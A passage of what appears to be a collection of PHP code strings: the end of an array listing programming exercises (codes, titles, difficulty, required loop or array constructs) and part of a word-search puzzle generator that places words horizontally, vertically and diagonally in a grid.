\t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS225A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Multiplication Table' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 69, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS226A', \n\t\t \t'difficulty' => 'average', \n\t\t \t'problem_title' => 'Printing Stars' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 70, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t ///////\n\t\t \n\t\t //71 j not specified\n\t\t array(\n\t\t \t'problem_code' => 'SCS312A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Workshop Programmer' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 71, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('\n\t\t \t\t),\n\n\t\t //72 j not specified\n\t\t array(\n\t\t \t'problem_code' => 'SCS313A', \n\t\t \t'difficulty' => 'hard',\n\t\t \t'problem_title' => 'Secret Message' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 72, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'switch(-case'\n\t\t \t\t),\n\n\t\t //73 j not specified\n\t\t array(\n\t\t \t'problem_code' => 'SCS314A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Playing Cards' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 73, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'switch(-case'\n\t\t \t\t),\n\n\t\t //CORRECT\n\t\t array(\n\t\t \t'problem_code' => 'SCS315A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Two Timer' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 74, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\n\t\t //CORRECT\n\t\t array(\n\t\t \t'problem_code' => 'SCS316A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => \"Millionaire's Game\",\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 75, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else'\n\t\t \t\t),\n\n\t\t \n\t\t array(\n\t\t \t'problem_code' => 'SCS317A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Circle Intersection' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 76, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else' //CORRECT\n\t\t \t\t),\n\n\t\t array(\n\t\t \t'problem_code' => 'SCS318A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Roman Numerals' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 77, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif(' //nested if else\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS319A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'BMI' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 78, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif(' //multiple if else\n\t\t \t\t),\n\t\t //CORRECT 79\n\t\t array(\n\t\t \t'problem_code' => 'SCS320A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Palindrome' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 79, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-else' //CORRECT\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'SCS321A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Money Converter' ,\n\t\t \t'weakness_id'=> 1, \n\t\t \t'feedback_id' => 80, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'if(-elseif('//multiple if else\n\t\t \t\t),\n\n\n\n\t\t //CORRECT TANAN RCS DIRI\n\t\t \n\t\t array(\n\t\t \t'problem_code' => 'RCS312A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Celsius and Fahrenheit' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 81, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'do{-while('\n\t\t \t\t),\n\n\t\t array(\n\t\t \t'problem_code' => 'RCS313A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Caesar Cipher' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 82, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS314A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Vignere Cipher' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 83, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS315A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Death Valley' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 84, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS316A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Word Count' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 85, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS317A', \n\t\t \t'difficulty' => 'hard',\n\t\t \t'problem_title' => 'Binary Logic' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 86, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'do{-while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS318A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Lucky Tickets' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 87, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS319A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Ali Baba' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 88, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS320A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Leap Years in Between' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 89, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS321A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Factorial' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 90, \n\t\t \t'time_limit' => 14401, \n\t\t \t'JUDGEMENTment' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS322A', \n\t\t \t'difficulty' => 'hard',\n\t\t \t'problem_title' => 'Diamond' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 91, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for(' //nested for loop\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS323A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Triangle' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 92, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('//nested for\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS324A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Diamond Word' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 93, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'while(-for(' //1 while and nested for\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS325A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Weather Forecast' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 94, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for('\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'RCS326A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Reverse Pig Latin' ,\n\t\t \t'weakness_id'=> 2, \n\t\t \t'feedback_id' => 95, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'for(' //number15 j not specified\n\t\t \t\t),\n\n\n\t\t //ALL ARRAYS WALAY JUDGEMENT\n\n\t\t array(\n\t\t \t'problem_code' => 'ARR312A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Josephus Problem' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 96, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'sequence[-for('\n\t\t \t\t),\n\n\n\t\t \n\t\t array(\n\t\t \t'problem_code' => 'ARR313A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => '8 Queens' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 97, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'configuration['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR314A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Clump' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 98, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR315A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Ascending Order' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 99, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\n\n\n\t\t \t//////OCT 7\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR316A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Descending Order' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 100, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR317A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Mirror Mirror' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 101, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR318A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Outer and Inner' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 102, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR319A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Balanced or Not Balanced' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 103, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR320A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'FIX 34' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 104, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers['//invsolved\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR321A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'FIX 45' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 105, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'numbers[' //invsolved\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR322A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'The Annoying Friend' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 106, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'words['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR323A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Spelling Bee' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 107, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'correctWords[-contestantWords['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR324A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Honor Students' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 108, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'grades['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR325A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Weather Forecast ' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 109, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'weatherForecast['\n\t\t \t\t),\n\t\t array(\n\t\t \t'problem_code' => 'ARR326A', \n\t\t \t'difficulty' => 'hard', \n\t\t \t'problem_title' => 'Intruder Alert ' ,\n\t\t \t'weakness_id'=> 3, \n\t\t \t'feedback_id' => 110, \n\t\t \t'time_limit' => 14401, \n\t\t \t'judgement' => 'loginSequences['\n\t\t \t\t)\n\t\t));\t\t \n }",
"function create_puzzle($array_words,$array_table,$PUZ_L,$PUZ_W){\r\n\t$rev_sort = array();\t\r\n\t$output_array = array();\r\n\t$fill_array = array();\r\n\tglobal $g_var;\r\n\t$flag_max_limit = 0;\r\n\t$badwordarray = array();\r\n\t$flag = 0;\r\n\t$array_words_row = count($array_words);\r\n\t\r\n\tif(($array_words_row > $PUZ_L) || ($array_words_row > $PUZ_W))\r\n\t{\r\n\t\techo \"Word list elements are more than length or breadth set.\\n\";\r\n\t\treturn $array_table;\r\n\t}\r\n\t\r\n\tfor($i=1; $i<=$array_words_row; $i++)\r\n\t{\r\n\t\t\tsrand((double)microtime()*1000000);\r\n\t\t\t$random = (rand(1,8));\r\n\t\t\t$rev_sort[$i] = $random;\r\n\t\t\r\n\t}\r\n\trsort($rev_sort);\r\n\tfor($i=1; $i<=$array_words_row; $i++)\r\n\t{\r\n\t\t$j=0;\r\n\t\tif($flag_max_limit == 1)\r\n\t\t{\r\n\t\t\t\r\n\t\t\tif(($rnum) == 1)\r\n\t\t\t{\r\n\t\t\t\tfor($badword=$i;$badword<=$array_words_row;$badword++)\r\n\t\t\t\t{\r\n\t\t\t\t\t$badwordarray[$j] = $array_words[$badword];\r\n\t\t\t\t\t$j++;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tfor($y = $t; $y<=$array_words_row;$y++)\r\n\t\t\t{\r\n\t\t\t\tsrand((double)microtime()*1000000);\r\n\t\t\t\t$random = (rand(1,($rnum-1)));\r\n\t\t\t\t$rev_sort[$y-1] = $random;\r\n\t\t\t\t\r\n\t\t\t\t$i = $t;\r\n\t\t\t}\r\n\t\t\trsort($rev_sort);\r\n\t\t\t$flag_max_limit = 0;\r\n\t\t}\r\n\t\t$t = $i;\r\n\t\t$array_words_col = count($array_words[$i]);\r\n\t\tif(($array_words_col > $PUZ_L) || ($array_words_col > $PUZ_W))\r\n\t\t{\t\r\n\t\t\techo \"One of the word list elements are more than length or breadth set.\\n\";\r\n\t\t\treturn $array_table;\r\n\t\t}\r\n\t\t$rnum = $rev_sort[$i-1];\r\n\r\n\t\tswitch($rnum)\r\n\t\t{\r\n\t\t\tcase 1:\t/* Display word From top to bottom on any column*/\r\n\t\t\t\t$var = 1;\r\n\t\t\t\t$start_1 = 1;\r\n\t\t\t\twhile(1)\r\n\t\t\t\t{\r\n\t\t\t\t\tif($var >= 30)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$flag_max_limit = 1;\r\n\t\t\t\t\t\t$i--;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tbreak 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($var >=20 && $start_1 <=$PUZ_W)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$random_num = $start_1;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$start_1 = $start_1 + 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$random_num = generate_random_number(1,$PUZ_W,0);//get random num\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$rand = $random_num;\r\n\t\t\t\t\t$flag =0;\r\n\t\t\t\t\tfor($j=0; $j<$array_words_col;$j++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t\tif($fill_array[$random_num] == NULL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$random_num = $random_num + $PUZ_W;\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$var ++;\r\n\t\t\t\t\t\t\t$flag = 1;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($flag ==0 )\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t$random_num = $rand;\r\n\t\t\t\t$fill_random = $random_num;\r\n\t\t\t\t$count = 1;\r\n\t\t\t\tfor($r=0 ; $r<$array_words_col; $r++)\r\n\t\t\t\t{\r\n\t\t\t\t\t$array_table[$count][$random_num] = $array_words[$i][$r];\r\n\t\t\t\t\t$count = $count + 1;\r\n\t\t\t\t\t$fill_array[$fill_random] = 1;\r\n\t\t\t\t\t$fill_random = $fill_random + $PUZ_W;\r\n\t\t\t\t\t\r\n\t\t\t\t}\t\r\n\t\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 2: /*Display word from bottom to top on any column*/\r\n\t\t\t\t$var = 1;\r\n\t\t\t\t$start_1 = 1;\r\n\t\t\t\twhile(1)\r\n\t\t\t\t{\r\n\t\t\t\t\tif($var >= 30)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$flag_max_limit = 1;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$i--;\r\n\t\t\t\t\t\tbreak 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($var >=20 && $start_1 <=$PUZ_W)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$random_num = $start_1;\r\n\t\t\t\t\t\t$start_1 = $start_1 + 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$random_num = generate_random_number(1,$PUZ_W,0);//get random num\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$rand = $random_num;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$random_num = $random_num + ($PUZ_L * ($PUZ_W-1));\r\n\t\t\t\t\t\r\n\t\t\t\t\t$flag =0;\r\n\t\t\t\t\tfor($j=0; $j<$array_words_col;$j++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t\tif($fill_array[$random_num] == NULL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$random_num = $random_num - $PUZ_W;\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$var ++;\r\n\t\t\t\t\t\t\t$flag = 1;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($flag ==0 )\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t$random_num = $rand;\r\n\t\t\t\t$count = $PUZ_L;\r\n\t\t\t\t$width = $PUZ_W - 1;\r\n\t\t\t\tfor($r=0 ; $r<$array_words_col; $r++)\r\n\t\t\t\t{\r\n\t\t\t\t\t$array_table[$count][$random_num] = $array_words[$i][$r];\r\n\t\t\t\t\t$count = $count - 1;\r\n\t\t\t\t\t$fill_array[$rand + ($PUZ_L * ($width))] = 1;\r\n\t\t\t\t\t$width = $width - 1;\r\n\t\t\t\t\t\r\n\t\t\t\t}\t\r\n\t\t\t\tbreak;\r\n\r\n\t\t\tcase 3:\t/* Display word from right to left on any row */\r\n\t\t\t$var = 1;\r\n\t\t\t$start_1 = 1;\r\n\t\t\t\twhile(1)\r\n\t\t\t\t{\r\n\t\t\t\t\tif($var >= 30)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$flag_max_limit = 1;\r\n\t\t\t\t\t\t$i--;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tbreak 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($var >=20 && $start_1 <=$PUZ_W)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$random_num = $start_1;\r\n\t\t\t\t\t\t$start_1 = $start_1 + 1;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$random_num = generate_random_number(1,$PUZ_W,0);//get random num\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$rand = $random_num;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$random_num = $random_num * $PUZ_W;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$flag =0;\r\n\t\t\t\t\tfor($j=0; $j<$array_words_col;$j++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t\tif($fill_array[$random_num] == NULL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$random_num = $random_num - 1;\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$var++;\r\n\t\t\t\t\t\t\t$flag = 1;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($flag ==0 )\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t$random_num = $rand;\r\n\t\t\t\t$count = $PUZ_W;\r\n\t\t\t\t$width = $rand * $PUZ_W;\r\n\t\t\t\tfor($r=0 ; $r<$array_words_col; $r++)\r\n\t\t\t\t{\r\n\t\t\t\t\t$array_table[$random_num][$count] = $array_words[$i][$r];\r\n\t\t\t\t\t$count = $count - 1;\r\n\t\t\t\t\t$fill_array[$width] = 1;\r\n\t\t\t\t\t$width = $width - 1;\r\n\t\t\t\t\t\r\n\t\t\t\t}\t\r\n\t\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 4:\t/* Display word from left to right on any row */\r\n\t\t\t\t$var = 1;\r\n\t\t\t\t$start_1 = 1;\r\n\t\t\t\twhile(1)\r\n\t\t\t\t{\r\n\t\t\t\t\tif($var >= 30)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$flag_max_limit = 1;\r\n\t\t\t\t\t\t$i--;\r\n\t\t\t\t\t\tbreak 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($var >=20 && $start_1 <=$PUZ_W)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$random_num = $start_1;\r\n\t\t\t\t\t\t$start_1 = $start_1 + 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$random_num = generate_random_number(1,$PUZ_W,0);//get random num\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$rand = $random_num;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$random_num = (($random_num - 1 ) * $PUZ_W) + 1;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$flag =0;\r\n\t\t\t\t\tfor($j=0; $j<$array_words_col;$j++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t\tif($fill_array[$random_num] == NULL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$random_num = $random_num + 1;\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$var = $var + 1;\r\n\t\t\t\t\t\t\t$flag = 1;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($flag ==0 )\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t$random_num = $rand;\r\n\t\t\t\t$count = 1;\r\n\t\t\t\t$width = (($rand - 1 ) * $PUZ_W) + 1;\r\n\t\t\t\tfor($r=0 ; $r<$array_words_col; $r++)\r\n\t\t\t\t{\r\n\t\t\t\t\t$array_table[$random_num][$count] = $array_words[$i][$r];\r\n\t\t\t\t\t$count = $count + 1;\r\n\t\t\t\t\t$fill_array[$width] = 1;\r\n\t\t\t\t\t$width = $width + 1;\r\n\t\t\t\t\t\r\n\t\t\t\t}\t\r\n\t\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 5:\t/* Display word from top to bottom diagonally [left to right] */\r\n\t\t\t\t$var = 1;\r\n\t\t\t\twhile(1)\r\n\t\t\t\t{\r\n\t\t\t\t\tif($var >= 30)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$flag_max_limit = 1;\r\n\t\t\t\t\t\tbreak 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$random_num = generate_random_number(1,($PUZ_L - ($array_words_col - 1)),0);//get random num\r\n\t\t\t\t\t$rand = $random_num;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$random_num = (($random_num - 1 ) * $PUZ_W) + 1;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$flag =0;\r\n\t\t\t\t\tfor($j=0; $j<$array_words_col;$j++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t\tif($fill_array[$random_num] == NULL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$random_num = $random_num + $PUZ_W + 1;\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$var ++;\r\n\t\t\t\t\t\t\t$flag = 1;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($flag ==0 )\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t$random_num = $rand;\r\n\t\t\t\t$count = 1;\r\n\t\t\t\t$width = (($rand - 1 ) * $PUZ_W) + 1;\r\n\t\t\t\tfor($r=0 ; $r<$array_words_col; $r++)\r\n\t\t\t\t{\r\n\t\t\t\t\t$array_table[$random_num][$count] = $array_words[$i][$r];\r\n\t\t\t\t\t$count = $count + 1;\r\n\t\t\t\t\t$random_num = $random_num + 1;\r\n\t\t\t\t\t$fill_array[$width] = 1;\r\n\t\t\t\t\t$width = $width + $PUZ_W + 1;\r\n\t\t\t\t\t\r\n\t\t\t\t}\t\r\n\t\t\t\tbreak;\r\n\r\n\r\n\t\t\tcase 6:\t/* Display word from top to bottom diagonally [right to left] */\r\n\t\t\t\t$var = 1;\r\n\t\t\t\twhile(1)\r\n\t\t\t\t{\r\n\t\t\t\t\tif($var >= 30)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$flag_max_limit = 1;\r\n\t\t\t\t\t\tbreak 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$random_num = generate_random_number(1,($PUZ_L - ($array_words_col-1)),0);//get random num\r\n\t\t\t\t\t$rand = $random_num;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$random_num = $random_num * $PUZ_W;\r\n\t\t\t\t\t\r\n\t\t\t\t\t$flag =0;\r\n\t\t\t\t\tfor($j=0; $j<$array_words_col;$j++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t\tif($fill_array[$random_num] == NULL)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$random_num = $random_num + $PUZ_W - 1;\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$var ++;\r\n\t\t\t\t\t\t\t$flag = 1;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif($flag ==0 